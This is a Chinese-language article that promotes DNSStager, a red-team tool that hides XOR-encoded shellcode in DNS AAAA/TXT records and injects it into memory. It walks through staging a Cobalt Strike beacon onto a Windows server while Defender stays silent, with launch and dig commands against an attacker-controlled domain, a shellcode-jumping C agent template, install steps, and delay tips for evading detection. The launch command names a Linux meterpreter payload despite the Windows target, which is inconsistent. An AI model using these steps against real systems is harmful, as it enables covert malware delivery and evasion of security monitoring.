DNSStager:一款利用DNS协议隐藏木马的渗透利器

导语:做渗透测试时,如果你只能通过DNS与目标机器通信,还有办法把木马传进去吗?答案是:完全可以。DNSStager就是为这个场景而生的——它把攻击载荷拆散、编码,藏进DNS的AAAA记录或TXT记录里,一点一点”漂”到目标机器上,最后直接注入内存执行。流量看着就像在查域名,走的是DNS协议,防火墙几乎不会拦。


一、项目背景:为什么需要DNSStager

在一次真实渗透项目中,我遇到了一个棘手的情况:目标机器几乎封死了所有出站流量,唯独DNS请求可以出去——这是很多企业网络的标配,DNS需要对外访问53端口,防火墙通常不会拦。

但问题是:怎么把几百KB甚至几MB的木马上传过去?传统的HTTP/TCP隧道根本走不通。

我的需求很明确:

  • 通过DNS把Payload传进去
  • 流量要低调,不能太可疑
  • Payload传到目标机器后要能直接注入内存运行

DNSStager就是来解决这个问题的。


二、DNSStager是什么

DNSStager是一款开源工具,专门帮渗透测试工程师和红队成员把攻击载荷(Payload)藏进DNS记录里,再通过DNS解析把Payload一点一点”取”回来,最后注入内存直接执行。

它的原理其实不复杂,整个流程分为三步:

第一步:编码 + 切分

DNSStager会把你的原始Shellcode进行XOR编码(如果是TXT记录模式,还会再加一层Base64),然后把编码后的数据切成若干小块。

第二步:DNS服务器分发

DNSStager会启动一个伪造的DNS服务器,当目标机器查询特定的子域名时,返回这些切好的小块数据。每一次DNS响应,就对应Payload的一小段。

第三步:客户端接收 + 内存注入

DNSStager自带的客户端Agent负责发出这些DNS请求,收集所有小块后拼回完整的Payload,然后注入到内存中执行。

整个过程,目标机器只产生了大量”正常的DNS查询”流量,没有任何HTTP/TLS连接,也没有任何文件落地到硬盘。

DNSStager工作原理图1
DNSStager工作原理图2

三、核心功能一览

  • IPv6记录模式(AAAA):把Payload藏在IPv6地址里,每次DNS响应返回一个16字节的小块
  • TXT记录模式:把Payload编码后藏在TXT记录里,单次可返回更大数据块
  • XOR编码:Payload默认经过XOR加密,防止被安全设备直接识别
  • Base64二次编码:TXT模式下还会再套一层Base64,增加隐蔽性
  • C语言Agent:可自由定制内存注入技术
  • Go语言Agent:跨平台兼容性好,同样可自由定制
  • 请求间隔设置:支持在每次DNS请求之间插入延时,降低流量噪音

四、实战演示:绑一个Cobalt Strike Beacon回来

下面用真实案例演示完整攻击流程。目标:一台打了全量补丁、开启了Windows Defender的Windows Server 2019。

4.1 生成Shellcode

先用Cobalt Strike生成原始Beacon Payload,保存为payload.bin文件。这个文件就是我们要传进去的”木马”。

生成Cobalt Strike原始Payload
Payload原始文件

4.2 启动DNSStager

payload.bin上传到DNSStager所在机器,然后启动DNSStager:

./dnsstager.py --domain test.mydnsserver.live --prefix cdn --payload linux/x64/meterpreter/reverse_tcp --shellcode_path payload.bin --xorkey 0x20

这里的参数含义:

  • --domain:你的域名,DNSStager会把自己绑定为这个域名的NS服务器
  • --prefix:子域名前缀,比如cdn0cdn1……DNSStager会生成大量带这个前缀的子域名来分发Payload小块
  • --xorkey:XOR加密密钥,这里用0x20

启动后,DNSStager会输出它生成的子域名列表,这些子域名每个都对应Payload的一小段数据。

启动DNSStager

4.3 验证DNS解析是否正常

dig命令查一下看看DNSStager是否正常工作:

dig AAAA cdn0.test.mydnsserver.live

正常情况下,DNS响应里会返回一段类似IPv6地址的字符串,里面就藏着Payload的第一块数据(16字节,XOR编码后)。

dig命令查询AAAA记录

图中红框部分就是Payload第一个16字节经XOR加密后的数据。

4.4 生成客户端Agent并发送

DNSStager会根据参数生成一个可执行文件(Agent),把它发送到目标机器上。这个Agent的行为就是:不断查询子域名,收集所有Payload小块,拼回完整数据,注入内存,执行。

DNSStager生成的Agent文件

4.5 运行Agent,收shell

把生成的Agent扔到Windows Server 2019上,运行,然后——

目标机器下载Agent

Beacon稳稳地回来了,Cobalt Strike控制台上看到目标机器已上线。整个过程中,网络里只有大量的DNS查询,没有任何HTTP/TLS连接,Windows Defender全程没有报警。

Cobalt Strike成功接收Beacon

整个攻击流程的流量截图:

DNSStager完整攻击过程

五、流量分析与检测

打开Wireshark看一下目标机器的流量,整个过程产生了约59次DNS AAAA请求,每次请求返回16字节的编码数据,最终拼出完整的Shellcode。

Wireshark流量分析

Payload越大,需要的DNS请求次数就越多。如果Payload达到1MB,DNS请求数量会相当可观。

降低噪音的方法:在DNSStager命令中加上--sleep N参数,在每次DNS请求之间插入N秒的等待时间,流量会更加分散。


六、客户端Agent如何定制

DNSStager生成的Agent代码是开源的,可以在templates/目录下找到C语言和Go语言的模板。

目前C语言Agent的实现比较直接:获取Shellcode在内存中的地址后,直接跳转过去执行。核心代码逻辑如下:

int main(){
    // 获取Shellcode的内存地址
    LPVOID ShellcodeAddress = GetShellCodeAddress();
    
    // 这里可以替换成你自己的内存注入技术
    // 利用ShellcodeAddress指向的内存区域
    
    // 跳转到Shellcode执行
    goto *ShellcodeAddress;
}

如果你有自己的进程注入技术(比如Remote Thread、Process Hollowing等),可以直接在模板里替换goto那行代码。

Go语言Agent使用的是CreateFiber技术,感兴趣的可以去看Ne0nd0g的项目


七、安装方法

# 克隆项目
git clone https://github.com/mhaskar/DNSStager

# 安装Python依赖
pip3 install -r requirements.txt

# 启动DNSStager(需要root权限)
sudo ./dnsstager.py

编译C语言Agent需要安装mingw-w64

apt install mingw-w64

编译Go语言Agent需要Go 1.16以上版本。

注意:运行DNSStager前需要关闭systemd-resolved,否则会占用53端口导致冲突。


八、总结

DNSStager的核心价值在于:把Payload的传输通道伪装成正常的DNS查询,而DNS查询在大多数企业网络里是被允许出站的。这就绕过了大部分网络层的访问控制。

加上XOR编码、内存直接执行(无文件落地)等特性,DNSStager在渗透测试和红队行动中是一个非常实用的工具。如果你也遇到”目标机器只允许DNS出站”这种场景,不妨试试它。

项目地址:https://github.com/mhaskar/DNSStager

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容